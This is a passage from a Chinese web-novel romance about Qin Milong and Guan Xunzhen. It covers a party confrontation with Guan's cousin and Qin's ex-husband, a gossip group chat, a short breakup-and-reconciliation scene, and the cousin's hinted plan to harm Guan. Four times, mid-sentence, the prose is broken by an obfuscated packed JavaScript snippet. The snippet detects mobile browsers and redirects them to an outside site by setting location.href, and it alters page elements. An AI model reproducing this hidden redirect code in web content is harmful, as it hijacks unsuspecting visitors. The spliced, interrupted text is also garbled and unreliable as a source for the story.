【GXZ:你知道吗?我现在在想一个问题。】 那头回得很快,可能是秦觅珑刚好在看手机。 【Melon:你不说我怎么知道?】 关寻臻没控制住嘴角,不小心笑出了声。 没办法,他看手机的时候,他刚好发了消息过去,就是这么有缘分。 【GXZ:我在想,我在想你这件事,你知不知道。】 关寻臻一把消息发出去,立刻把手机息屏反扣在桌面上,神情严肃地盯着面前的电脑屏幕——右下角的时间显示。 等代表着分的数字从1变成3的时候,关寻臻一脸正经地拿起手机看了一眼。 【Melon:现在知道了。】 【Melon:我也是。】 “嘶——”关寻臻像碰到烫手山芋似的把手机屏幕迅速扣在胸口处,握拳砸了一下办公桌面。 门外路过的助理一边算着自己的三倍加班费,一边正打算提醒关寻臻下班,正要敲门时忽然听见室内隐隐约约传来一阵笑声,还伴有哐哐哐捶桌子的声音。 助理赶紧回头看了一眼窗外还没暗下去的天色,随即头也不回地走远,走着走着跑了起来。 听说人加班加多了会精神失常,难怪boss最近这么不正常,老是盯着手机吃吃地笑。 关寻臻脸上的笑容还没来得及收起来,美滋滋地在消息框里敲敲打打半天,不知道该怎么接下一句。 还没等他把消息发出去,对面就打了一个电话过来。 什么情况,有这么想他吗? 真是的。 关寻臻清了清嗓子,接起电话,含笑道:“这么想我?” 那头秦觅珑见电话接通也开口道:“你爸回家了吗?” 关寻臻脸上的笑容僵住。 他没听错吧? 这人怎么回事啊,问的什么第一句话,怎么这么破坏气氛? 转念一想,他仿佛又明白了什么,玩味道:“难不成,你想来我家啊?” 秦觅珑幽幽道:“今天见到关叔叔了,他问我有没有对象。” 关寻臻:“……” 关寻臻:“??” “!!!!!” 关寻臻倏然起身,飞速冲出办公室,一路疾驰回到家,气喘吁吁从停车库跑到客厅里。 就见到…… 酒柜大开,关行风手上捏着一支高脚杯,默默给自己倒酒。 那背影,看上去很是黯然神伤。 关寻臻一脸焦急,一个箭步冲过去问:“爸!你和他说什么了!” 关行风不理他。 关寻臻立刻换上殷切又渴望的语调,“老爸!你知道的,我这辈子也就看上过这么一个人……” “噔。”关行风面无表情地把酒杯立在桌上,纡尊降贵看了儿子一眼,“人是不错。” “那必须……”关寻臻不偏不倚迎着他爹的死亡视线,半点也没退缩,“你要是把人吓跑了,我这辈子都得孤独终老。” “呵呵。”关行风阴阳怪气道:“你在这里说这种话有什么用,人家又听不见。” “我听得见。” 关家父子一愣,视线投向声源——关寻臻捏在手上的手机。 关行风:“……” 他立马用谴责的眼神怒瞪关寻臻,没想到你居然是这种人! 跑得太急忘记挂电话,也没想到秦觅珑那边一直不吱声还在偷听他俩聊天的关寻臻:“……” 他冤啊。 关行风装作什么也没听见,若无其事地换成德语道:“我这边勉强同意,你妈妈那边就靠你自己了。这小子很抢手,是个人才,长得又帅,很多人盯上他,你务必生米煮成熟饭。” 关寻臻刚要张口说些什么。 就听他爹又补了一次:“我知道你想说什么,就算煮过了也要多煮几次,男人就是下半身动物,只有在家里的时候把精力用完了才不会去外面乱用。” “好了,别说了。”关寻臻欲哭无泪地打断他,艰涩地开口道:“他听得懂德语。” 关行风:“……” “哦,我去看看你妈妈在干嘛。”关总强装镇定,步伐凌乱地离开了这个令人尴尬的地方。 关寻臻回到房间,才做贼似的对电话那头轻轻叫了一声,“喂?” “在。” 秦觅珑轻轻地笑,笑声通过电流传过来,莫名叫人心悸。 关寻臻脸红了,心里甜滋滋嘴上假装埋怨道:“你就知道笑我。” “就笑,就笑。” 好幼稚啊,这个人! 关寻臻揪起被角揉来搓去,期期艾艾道:“我们都认识这么长时间了,你不觉得……关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989609|147937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系可以增进一下下吗?” 秦觅珑笑地比前面更大声了。 从似有若无的哼笑变成了光明正大的“哈哈哈哈哈哈哈”。 关寻臻心想:以后要是秦觅珑站在他面前还笑个不停,就有理由亲他了。 “我本来还以为,关叔叔是来替你讨公道要名分的。”秦觅珑如是说。 “那你给不给?”关寻臻理直气壮地忽悠他,“我们家刚好也要办一场宴会,要是你不给我名分,我们一起出现的时候,我只能和别人介绍你是我的小情人了。” “那我考虑考虑——”秦觅珑拉长语调,话音一转,“那我不去不就行啦?” 呵呵。 关寻臻磨了磨后槽牙,咬牙切齿挤出几个字:“必须去,不然我就封杀你的直播间。” 秦觅珑的目的已经达成,直播间几乎已经没什么用了。 “我去就是了,还请关总手下留情。” 关寻臻幸福得都快冒泡了,不确定道:“你答应和我交往了?” 他紧张又忐忑地等待对面的回答。 没过几秒钟,对面低低的声音传过来。 “答应了。”秦觅珑认认真真地回答他。 关寻臻很快就后悔邀请秦觅珑参加那个宴会了。 诚然,关家举行的宴会上有不少商业资源,但这种场景自然也少不了各种沾亲带故想来分一杯羹的人。 “好久不见啊,寻臻你身边这位是?”说话的男子肆无忌惮地把秦觅珑从上到下打量了个遍,黏腻的视线在他的脸上停留了好一会儿,眼底流露出几分惊艳和疑惑。 他身边还站着一个身材瘦削的男生,被他用半搂半抱的姿势揽在怀里。 “哪里来的野狗在这里嘤嘤狂吠?劝你识相点连人带己一起滚出去。”秦觅珑第一次听见关寻臻用这么冷的腔调说话。 关寻臻的视线像一把锐利尖刀,扎在蜷缩在关长麟怀里的于声身上。 早就知道他这个堂兄人品垃圾,没想到居然垃圾到了极点,情商也低得无可救药,难道是完全本着得罪他的心态来的吗? 秦觅珑淡淡扫了几眼关长麟,不小心和他对上了视线。 关长麟咧开嘴,饶有兴致地冲他笑,“怎么?你认识我?” “认识。”秦觅珑语调平静无波,善意地提醒他:“你这么快就把我忘了吗?我睡觉的时候,你们非要选在我身边□□,还把我吵醒了。” 早就因为这边剑拔弩张的氛围隐隐围过来的众人皆是竖起耳朵,听到这么一番话后一脸空白茫然。 沉默以他们四人为圆心,像一滴墨滴入清水之中迅速扩散开来。 全场落针可闻。 23.我好想舔 「H市扫黄打非小分队」 Agoni:【好帅……帅到我失语……】 纯欲美0在线摇人:【??干嘛,大白天就开始发骚。】 大鸡炖蘑菇:【你不会真的去那个粉丝见面会了吧?】 楚楚闻啼鸟:【什么粉丝见面会?】 大鸡炖蘑菇:【Agoni说最近有个男团开见面会,他拿到了第一排的vvip票。】 456:【哪个男团这么帅啊,让Agoni这种见过世面的都大白天发春。】 Agoni:【不是!不是男团!是Melon!我活了二十多年真没见过这种男人,长得太高级了,一看就不是我等凡人能够肖想的。】 Agoni:【我还见到你那个朋友了,不是我说你,楚楚,你交朋友的眼光太差劲了,就这种货色,哪里来的脸背着Melon出轨啊……】 纯欲美0在线摇人:【那个成人区新一哥?呵呵……,腰没我细,屁股没我翘,嗓音也一般,肯定没我叫得骚,他凭什么被Melon看上?】 楚楚闻啼鸟:【@Agoni,你在哪里看见他们的?他俩怎么会同时出现?】 Agoni:【今天瓜实在太多了,我都快吃撑了,正好他们那边还在僵持,我给你们现场文字直播一下吧。】 Agoni:【我这次是和家里人过来参加G姓大佬家里办的一场宴会,啊对,就是Melon直播间榜前三那个GXZ!我之前还不确定呢,结果今天彻底证明!】 Agoni:【你们不知道我看见Melon的那一刹那有多么震惊,真的就是脑子里“轰隆”一下,好不夸张地说,就是女娲毕设之作,他看我一眼能让我当场发情。】 456:【他看你了?】 Agoni:【没有……这个不重要。然后!就在我蠢蠢欲动想冒死忽略G的存在冲到Melon跟前混个眼熟的时候,楚楚那傻叉朋友出现了!!!还待在另一个男人的怀里,一脸欲语还休,就那种很恶心的表情,你们懂得,差点没恶心死老子(吐)】 纯欲美0在线摇人:【什么啊,怎么又一个男人,长得帅不帅?】 Agoni:【还可以,虽然和Melon没法比,但也算得上优质1了,身材还可以,气质不太行。】 456:【这男的什么情况,在G大佬的宴会上把人家相好的前夫带过来,脑子没泡吧?还是说Melon前夫其实有魅魔血统,能让所有男人为他神魂颠倒失去理智??】 Agoni:【这男的也姓G,和GXZ同一个太爷爷,家里也挺有钱的,大概是我家十倍吧,但是没什么权力,权力都在GXZ他们家手里,所以这男的看GXZ特别不爽,老是出来跟个蚂蚱一样蹦哒,里面还有点他们的家族秘辛我不太了解,只知道GXZ忍他很久了都没把人搞死。】 大鸡炖蘑菇:【听不懂这些东西,能不能说点正事?】 Agoni:【好吧,不知道你们记不记得之前楚楚说余生那个贱人是婚内出轨才被离婚的。】 456:【别告诉我这个蚂蚱哥就是余生出轨的对象……】 楚楚闻啼鸟:【……余生确实说过他出轨的男人很有钱,而且器大活好。】 纯欲美0在线摇人:【我不服,余生这小件货凭什么……】 Agoni:【Bingo~Melon就这么水灵灵地把他俩趁他睡觉的时候在他旁边啪啪的事情说出来了。】 大鸡炖蘑菇:【震撼……不愧是我男神……】 纯欲美0在线摇人:【震撼……不愧是我老公……】 456:【然后呢?】 Agoni:【现在余生哭得一把鼻涕一把泪,蚂蚱哥歪嘴冷笑,指责GXZ也是插足别人婚姻的小三,否则不可能这么快和Melon搞在一起。】 楚楚闻啼鸟:【虽然听起来挺有道理的,但是我亲眼目睹他俩办的离婚,顶多有个无缝衔接的名头,婚内出轨应该不成立。】 纯欲美0在线摇人:【Melon老公他真的……我哭死!这算啥啊,我前男友不就是dior大了点,除了我之外,还同时和三个0保持□□关系呢。】 Agoni:【帅死我了……Melon一杯酒泼蚂蚱哥脸上,风淡云轻地说了个滚字,这啥呀!这啥呀!!不行我真的嫉妒死GXZ了,好帅的一男的我好想舔!我恨不得跪下叫主人……】 456:【舔呗,我支持你,对了,别忘了给我留一口:)】 Agoni:【蚂蚱哥一脸懵逼,抹了一把脸,怒火中烧地指着Melon鼻子要骂人,结果GXZ直接伸手揍了他一拳,让安保把两个人轰出去了。】 Agoni:【完啦。Melon和GXZ都被GXZ他爹叫走了,在宴会上搞出这种东西,虽然不是他俩的错,估计也得被好好修理一顿。】 关家书房里。 被叫走的秦觅珑和关寻臻,两个人站在房间里面面相觑。 “叔叔把我们锁在这里是什么意思?”秦觅珑见关寻臻发尾有点凌乱,很顺手地伸过去帮人家压了压。 刚刚关行风把他俩叫到书房后,一句话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020374|147937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没说就走了,还干脆利落地把门反锁了,徒留二人大眼瞪小眼。 “他是让我们先在这里避避风头,其他的事情不用我们操心。”关寻臻熟门熟路地推开隐藏在书架后的一扇暗门。 “这里进去是我家的仓库,再过去就是我的衣帽间,可以直达我的房间。” 秦觅珑忍不住问;“你经常干这种事?” 在宴会上闹事,然后被老父亲拎进书房假装教训一通,等老父亲一脸怒容地出去时,外面那些人还会围上来安慰他劝他消消气。 关寻臻神色不自然地瞄他一眼,“你问这个干嘛……” 秦觅珑:“我就问问。” 才怪,他以前也老这样,关行风的行事作风和秦老爹还蛮像的。 关寻臻的房间里,各处都摆着做工精美的小物件,空气中冷调的暗香隐隐浮动,彰显着主人的品味和生活态度。 秦觅珑一边脱西装外套一边看关寻臻在房间里走来走去,不知道在找什么。 “在找什么?” 关寻臻保持着翻找的动作,头也不回地道:“上次我买了一件特别有意思的东西,想给你看看。” 秦觅珑漫不经心地应了一声,像是不经意提起般,“今天,那个关长麟究竟是怎么回事?” 关寻臻的动作明显变慢了,他可能在组织语言,并没有第一时间就回答这个问题,半晌,他才说道:“其实,当年太爷爷把家里的继承权给了他爷爷。” 然而现在当家作主的是关行风,这中间一定发生了什么重大变故。 “我奶奶是德国人,我爷爷和我奶奶结婚后,太爷爷觉得……非我族类,其心必诛,一度不让我爷爷回家,把继承权给了关长麟的爷爷,但是他爷爷不是做生意的料,他父亲更不是,关家眼看就要败落,后来我爷爷在外面自己创业成功,他爷爷临死前把整个关家托付给了我爷爷。” 关寻臻说得有点混乱,但是秦觅珑大致听懂了。 “关长麟认为,我们当时只是代管掌家权,现在应该还给他。”关寻臻耸了耸肩,“以后我不会让他再出现在你面前,这个蠢货不会影响我们的生活。” 秦觅珑低着头,像是在思考什么,指尖无意识地摩挲着沙发皮面。 “找到了!”关寻臻兴冲冲举起手里的东西,暧昧地冲抬起头来的秦觅珑眨了眨眼睛,诱哄道:“要不要试试?今晚。” 秦觅珑不得不承认,关寻臻真的很了解他,他咽下已经在咽喉处打转的话语,单手松开领带,“可以。” 试……试完再说,也不迟吧。 24.难道你刚刚没爽到? 满打满算,从H市回到B市之后,这还是关寻臻头一回和秦觅珑酱酱酿酿。 两个人结束的时候,关寻臻还在欣赏秦觅珑穿衣服的动作,年轻身体肌肉隆起又舒展开来的线条起伏变化特别美,他不知不觉都有点看痴了。 一想到这样的场景还能看几十年,他的心都要酥了。 一时间,他甚至都没反应过来秦觅珑为什么会在这个时候开始穿起衣服来。 直到秦觅珑拎起西装外套披在身上的时候,关寻臻才突然意识到有什么地方似乎不太对劲。 “你要回去?都这么晚了……” 秦觅珑没说话,盯着他看了几秒。 关寻臻什么也没穿,浑身赤.裸地躺在床上,从他的角度看过去,只能自下而上地看到以一种居高临下的姿态站在那里的秦觅珑。 秦觅珑可能意识到了什么,走了两步坐在床边与他的视线齐平。 他沉吟了一会儿,酝酿出一个很真挚的表情,用平淡的语气向关寻臻扔出一枚炸弹:“我想了一下,我有过一段婚姻是事实,确实配不上你,我们还是分开吧。” “啊?” 关寻臻没听明白,但是眉头已经先皱起来了。 什么意思? 分开是什么意思? 意思是才刚在一起不到一星期就分开吗? 意思是刚打完一炮,刚刚还在床上摁着他,干完了就分开吗? 关寻臻被这个炸弹砸得头晕眼花,人都被气笑了。 他从秦觅珑的衣服下摆伸进去,拽住人家裤腰,顺着前门襟往下摸。 “裤子拉链都还没拉呢宝贝。” 他笑得很危险,一副直击要害的架势,来势汹汹,不得不防。 秦觅珑眼疾手快握住他的手,“别冲动,有话好好说!任何事我们都可以商量。” 关寻臻大大咧咧直起身,完全没有要扯块布遮羞的想法,指着自己身上青青紫紫红红的一片又一片,一脸匪夷所思地问:“难道刚刚你没爽到?” 秦觅珑可疑地沉默了几秒。 关寻臻继续问:“嫌弃我年纪太大?” 他也就比秦觅珑大两岁而已啊。 “我长得不好看?” 不比那个什么于声强多了? “嫌我家境太好?” 按秦觅珑以往的人设作风来看,这条好像还真是最有可能的——只想靠自己努力打拼的小主播厌恶他这种含着金汤匙出生的富二代? 关寻臻面无表情地看着秦觅珑,“你是不是有病啊?我有钱、长得好看,我们床上还那么合拍,你不会真的还喜欢那个于声吧?” 他敏锐地察觉到秦觅珑的眼神在提到于声的时候出现了一丝波动。 关寻臻惊呆了。 “不是,你还真喜欢他啊?”这句话说得愤怒又委屈,语调颤颤巍巍不成调。 秦觅珑都快被他说的这个猜测吓晕了,赶紧为自己澄清,“不是!怎么可能!你这话也太离谱了……诶,你别哭啊,好端端的为什么哭啊……” 他才解释一句,就看见关寻臻眼圈红了。 关寻臻一个飞扑,赤条条地把自己卡进秦觅珑怀里,整张脸都埋进他的颈窝,“哪里好端端了?!为什么你变得这么快?明明我爸也同意了,我妈那边我也会努力,我们的未来就在眼前,为什么你能说放弃就放弃啊?!” 感受到脖颈处的温热湿意,秦觅珑只好放弃把人挖出来的打算,他笨拙地轻轻拍拍怀里人的背,语气很轻柔:“没有对你不满意,你年纪不大,长得也很好看,身材也很好,我们是很合拍,我也不在乎你有没有钱,我也不喜欢别人……” 关寻臻立刻抬起头,瞪着一双通红的眼睛,强撑着不眨眼,眼泪一颗颗往下落,“我可没见过有人上完床就说分手。” 秦觅珑抿了抿唇,纠结半晌,低声道:“其实我在上床之前就想提……” 关寻臻怒了,往秦觅珑的方向一撞,发送了一个巨力头锤。 “咚——” “嗷——”秦觅珑吃痛地捂住自己的额头,费劲地抬起眼,“好痛!” 无视对方投过来的控诉眼神,关寻臻顶着头上的红印冷笑,“力的作用是相互的,我撞你的时候我也会痛,你说分手的时候我倒是没看见你哪里心痛。” 秦觅珑放下手,犹豫了一下还是如实道:“我对你是真心的,并不是只想玩玩你而已,只是因为我觉得……” 片刻后。 关寻臻神色冰冷地给额头红了一块的某人上药,语气很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14037772|147937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷很拽,“所以,就因为关长麟和我有亲戚关系,你就觉得这个世界小到不真实,想逃离一切?” 本来就不真实。 秦觅珑默默在心里吐槽。 但是有些人吧,虽然语气很冷,手上的动作却很轻柔,还是等上完药再说,以免又引发二次伤害…… “这么扯的理由,谁会信?”关寻臻用力把消毒棉球砸进垃圾桶,力道大得像是植物大战僵尸里的玉米投弹手,又换了个新的棉球蘸了药,小心翼翼地给秦觅珑擦拭。 秦觅珑心想:不知道谁会信,但是你看上去已经信了。 “关长麟和你是亲戚,让我有种永远无法摆脱于声的感觉。”秦觅珑忍不住半真半假说出自己内心最真实的想法。 让他担忧永远无法摆脱的,不是三番五次死缠烂打的于声,而是也许终其一生也无法改写的命运。 他去做主播,结果于声也跑去搞直播。 他去搞金融创业,结果参加一个宴会都能遇到那两个人。 这是一个早就谱写好的剧本世界,他是主角受毫无存在感的熟睡丈夫,关寻臻是未曾被提起的主角攻的背景板堂弟。 明明他们的相遇也只是机缘巧合,偶然遇见的爱人却也和其中一位主角脱不开关系,这让秦觅珑萌生出一种全世界都围绕着主角攻受转的想法。 秦觅珑嘴上不说,其实心里郁闷死了,还不能和关寻臻讲。 关寻臻一直冷着脸,给他上完药才随手抄起一件睡袍披在身上,内里仍然保持真空状态,连腰带都没系。 秦觅珑眨眨眼,秉承着人道主义及礼尚往来思想出声道:“你头上的伤,要不要我帮你涂一下?” “是我撞的你,我怎么可能有伤。”关寻臻语气淡淡的,然后把医药箱推到秦觅珑面前。 秦觅珑:“……” 秦觅珑讪讪笑了两声,“力的作用是相互的嘛……” 他还没伸手,关寻臻就很自觉地把脸凑近了。 可能是这段日子相处的时候被训练出了条件反射,秦觅珑下意识地……在关寻臻嘴上亲了一口。 “!!!” 秦觅珑瞪大眼睛。 关寻臻不可置信地睁开眼。 两个人错愕又茫然地对视。 25.不愧是H片世界啊 秦觅珑两辈子都没遇到过这么尴尬的事情——当然,对于两辈子以来头一次涉足恋爱领域的新人而言,倒也算得上正常。 现在该说什么? 要道歉吗? 秦觅珑试探道:“我不是故意……” 关寻臻的唇角逐渐抿起来,脸色变得很不好看。 好了,看来后半句话已经没有说出来的必要了。 秦觅珑神色不变,灵活地把已经到嗓子眼的话拐了个弯儿,“我不是故意没有先给你上药的,你应该不会怪我吧?” 关寻臻似笑非笑看他一眼,仿佛已经看穿了他的小把戏,拢了拢散开的浴袍,哼笑道:“在秦总心里,我就是这么小心眼的人?” 秦觅珑不说话,直戳戳地把棉球摁上去。 “嘶——”关寻臻登时倒吸一口凉气,却还是任由他动作,没有躲开,“谋杀亲夫啊你?” 乐得秦觅珑笑出声,“谁让你要来撞我?” “要不是某人动不动就提分手,我会做那么幼稚的事情吗?”关寻臻眯起眼,用一种阴测测的语气恫吓他,“以后还敢不敢提分手?” 药涂得差不多了,秦觅珑放下手,身体往后一靠,倚在沙发上。 “不分就不分。” 语气像是小孩子耍赖似的,也没看出他脸上有半分不乐意的神色,甚至眼含笑意,看得关寻臻又开始怀疑这人没心没肺,只有自己一个人整天在那儿患得患失。 不过好在结果也不算太差,至少保住了男朋友的名分。 * “大哥,你有病吧?”汪霖听完于声的新计划忍不住吐槽道:“你在说什么东西你知道吗?你有没有脑子啊到底?” “先不论你前夫是被包养还是真的和人家在一起了,人家钱多到花不完,要是真像你说的一样我买点水军去泼脏水,水军还没出发呢我就被搞死了你信不信?” “况且,谁告诉你当代网友会在乎这个啊?网红被包养的事情简直不要太正常,我要是把这个作为攻击Melon的点,大半个圈子都得以为我在阴阳人家呢!” “最后,今时不同往日,我劝你还是早点放弃吧,我已经看出来了,Melon这人心肝黑得像个天生的资本家,我俩干啥都是给他送流量你知道不?我们和他都不在一个档次了,你就别惦记人家了。” 于声一个字都不说,只是哭,嘤嘤呜呜哭了半天。 汪霖不耐烦地吼出一声:“别哭了!哭哭哭就知道哭,好运气都被你给哭没了!” 他现在就是后悔,真的后悔,真觉得自己印证了当初为了博眼球而取的那个网名,要不是当初脑子坏了居然同意了于声的合作邀请,他现在至于沦落到这个熊样吗? 不仅流量人气大不如前,还得和一个成人区主播捆在一起,给昔日仇敌小白脸Melon当垫脚石。 用网友的话来说,他现在和于声打电话都怕得电子艾滋。 于声抽抽噎噎道:“关长麟答应了会帮我的,只要你再帮我最后一次,我就能……” “就能个屁!我又不是你爹,你爱找谁找谁,滚!”汪霖极其没素质地发泄一通,趁于声还没来得及回复赶紧摁了挂断键,顿觉心中舒畅不少。 太好了,以后再也不用和傻叉打交道了。 另一边,被劈头盖脸骂了一通的于声呆呆地保持着原来的动作没动。 “怎么了?他没同意?”关长麟见状问道。 于声打了个激灵,挤出一个比哭还难看的笑容,艰涩道:“他不想和我们合作。” 关长麟笑了一下,拍拍自己身边的空位,“过来。” 于声乖巧地顺着他的意思坐下。 “没有成功也没关系,找个其他的办法给你前夫制造点意外。我看关寻臻那样子,好像还真动了真心,届时我派人把关寻臻……”关长麟做了个抹脖子的动作。 “至于你前夫……我自然有办法让他这辈子都离不开你,听懂我的意思了吗?”关长麟亲昵地捏了捏于声的脸颊肉,“你要秦觅珑,我要关家,皆大欢喜。” 于声攥紧衣角,对着关长麟乖乖点头,实则背后早就出了一片冷汗。 先前419的时候没发现,这几天相处下来,他才发现关长麟是真的变态,可惜他现在被绑在贼船上,连通讯都被掌控了,什么也做不了。 汪霖真是个成事不足败事有余的废 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14045069|147937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物,他求救的意图都那么明显了,他居然一点儿也没发现。 他平时是爱哭装可怜钓男人没错,但也没到哭哭啼啼整天只知道掉眼泪的地步吧?! 于声内心深处早已掀起惊涛骇浪,面上却仍然一派乖巧单纯、不谙世事的天真模样,看得关长麟十分满意。 “乖,去阳台,用我们昨天用过的那个姿势。” “是。”于声笑靥如花地应下,等到转过身背对关长麟的时候,瞬间换了一副哭丧脸,步伐都变得沉重起来。 做成人区主播是一回事,在露天场合乱来又是另一回事,虽说刺激是真的很刺激,但这也太变态了…… 更让于声感到绝望的是,经过这几天关长麟日日夜夜的调教,他现在心底甚至生出了些小兴奋。 这叫什么事啊…… * “发生什么好事了,笑这么开心?”关寻臻趴在秦觅珑的肩头,伸长脖子去看他手机上的内容。 “你还记得那个飞天大狗熊吗?”秦觅珑慷慨地把汪霖私信发给他的小作文分享给关寻臻看。 “他说他要深刻忏悔,以前都是因为他嫉妒我长得太帅……”秦觅珑的唇角越来越翘,笑出一口小白牙,“他讲话确实还挺有意思。” 关寻臻撇撇嘴,瞄他一眼,“你在别人面前怎么就这么好哄?” 人家承认个错误,说句公道话就开心成这样。 秦觅珑一脸理所当然道:“我看得高兴是一回事,要不要原谅他是另一回事。” “那要不要原谅?” “当然不要。”秦觅珑把页面滚到最后,“不过他说于声和关长麟正在着手准备对付我们,让我们多加防范。” “关长麟这人……确实能做出很恶心的事情。”关寻臻一脸嫌恶,“不过我在他身边安插了几个私家侦探,我问问他们关长麟最近的动向。” 片刻后,关寻臻看着手机上私家侦探发过来的消息汇报一脸复杂。 秦觅珑好奇地探过头去,随即神色也复杂起来。 【关长麟与其男伴被邻居投诉举报称二人白日宣淫,光天化日朗朗乾坤之下做出不文明举止,现正于辖区派出所做笔录。】 26.我吃醋了 “怎么你每次叫我来都没什么好事?上次是离婚,这次直接进局子。”许俊楚裹着大衣在冷风里瑟瑟发抖,用力地吸了吸鼻子,没好气地白了于声一眼。 “赚钱的时候根本想不起来我这号人,自己跑去开直播当网红,后面消息也不给我发一个,我还以为我俩都绝交了呢。” 于声不吭声,低着头把面色苍白的脸藏在领子里。 “哑巴了?”许俊楚又瞅他一眼,“我说你几句还不行了?那个和你偷情的男的,长得倒是人模狗样的,结果呢,人家一出门就坐上豪车走了,哪里顾得上你这个小卡拉米?我大半夜接到电话就过来接你你就没半点感动是不是?” 于声不知道是被哪句话刺激到了,闷声闷气扔了个炸弹出来:“你以为我不知道吗?你之前说让我同意离婚还不是因为你看上了秦觅珑?!” 气氛瞬间凝固。 两个人沉默地吹着冷风往前走,连打个车的动作都没有。 半晌,许俊楚才道:“噢,原来你早就知道啊?” “我又不是白痴,你眼睛都要粘他身上了。”于声闷闷道。 许俊楚:“……噢。” 不知道埋头走了多远,于声突然道:“楚楚,我知道你是真心把我当朋友,只要我们没看上同一个男人,这段关系就不会破裂。” 许俊楚:“噢……” 是吗?原来他其实是个刀子嘴豆腐心的人吗? 于声继续道:“我算是看清楚了,这世上没有几个男人是靠谱的,至少到现在,我还没睡到过一个好男人。” 许俊楚突然幽幽道:“谁让你和人家结婚了都要出去打野?” 于声噎了一下。 “不管你信不信,我以前真没觉得他有多帅……” 许俊楚不屑地冷嗤一声。 于声抿抿嘴,低低叫了一声:“楚楚……” 许俊楚一脸恶寒地抖了抖胳膊上的鸡皮疙瘩,没好气道:“突然这么叫我干嘛?” “我……” “我就是想说,男人是靠不住的,从头到尾,我落魄丢脸的时候都是你陪在我身边……” “少来。现在知道老子的好了?以前你三天两头搞帅哥的时候怎么没想着我?”许俊楚还没意识到接下来会发生什么,就这样以毫不设防的状态迎头撞上于声的惊天痛击。 “楚楚,以后我会对你好的,我比那些男人更知道怎么让你爽,你……我……以后我们俩一起过吧……” 许俊楚大脑空白,呆若木鸡。 是他耳朵坏了还是脑子里的听觉神经坏了? 他是不是听到什么不得了的东西了? * 举报关长麟和于声光天化日之下不知廉耻搞颜色的不是别人,正是郝莫。 生性喜爱混迹各大直播平台吃瓜且住在A市别墅区也不忘眼观四路耳听八方的平平无奇大学生一枚。 他不知道自己的一个无心之举促使了什么样的转变,这个转变又给别人带来了多么大的冲击。 他发誓,一开始,他只是觉得这种公开play的行径有损市容市貌,谁能想到其中一位主角居然就是近日的直播界话题人物。 郝莫感叹,你的余生不愧是成人区一哥,他还是头一次看见这么真实的人设,网络现实毫无反差。 不像这个Melon,网络上粉丝都以为他是个看起来像高冷酷哥实则被叫几声老公都会不好意思的腼腆害羞小男生,结果这厮现实里居然光明正大和人手牵手逛街。 没错,此时此刻,郝莫与秦关二人狭路相逢。 秦觅珑和关寻臻手牵着手,两个人即便戴着口罩只露出半张脸也引来超高回头率,出挑的个头和浑身的气度以及毫不掩饰的恋爱氛围让诸多路人频频回头。 啥呀这是,以为戴个口罩就能蒙混过关了? 超级侦探郝莫几乎在看见秦觅珑的第一眼就从熟悉的眉眼认出了此人。 帅得如此突出,帅得这么特色,不仅现实里是人群中的一道风景线,网络上也能在众多网红之中脱颖而出…… 郝莫认为自己探究的视线应该不算灼热,但不知道为什么,Melon身边那个男人突然转过头向他的方向看了一眼,随后在Melon耳边说了句什么,两个人就这么滑溜溜地逃出了郝莫的视线范围。 关寻臻拉着秦觅珑穿过安全通道,进了家娱乐会所。 站立在门口两侧的侍者熟门熟路地把他们带进一个装潢精致的休息室。 等到饮品和点心上完后,秦觅珑才问道:“跑那么快做什么,被发现就发现了呗,我都不怕别人蛐蛐我抱大腿。” 关寻臻把坚果盘拖到自己面前,开始动手剥壳,闻言哂笑一下,“我吃醋还不行吗?就是不想让别人看我男朋友,怎么了?” 秦觅珑原本托着腮盯着他剥开心果的动作,一听他这么说,手指微妙地往上挪了挪,挡住了下半张脸,声音听起来还是很正常,“那你既然都这么说了……” 关寻臻眼尾一扫,果然从某人的指缝里看见翘起来的唇角。 “可不是吗?要不是我对你死缠烂打,恐怕我俩这辈子都不会有交集。” 秦觅珑不干了,“你这话什么意思?说的好像我很不主动一样。” 关寻臻:“……” “你哪里主动啦?倒是说说看呢?” 秦觅珑一本正经道:“我们第一次通电话,就是 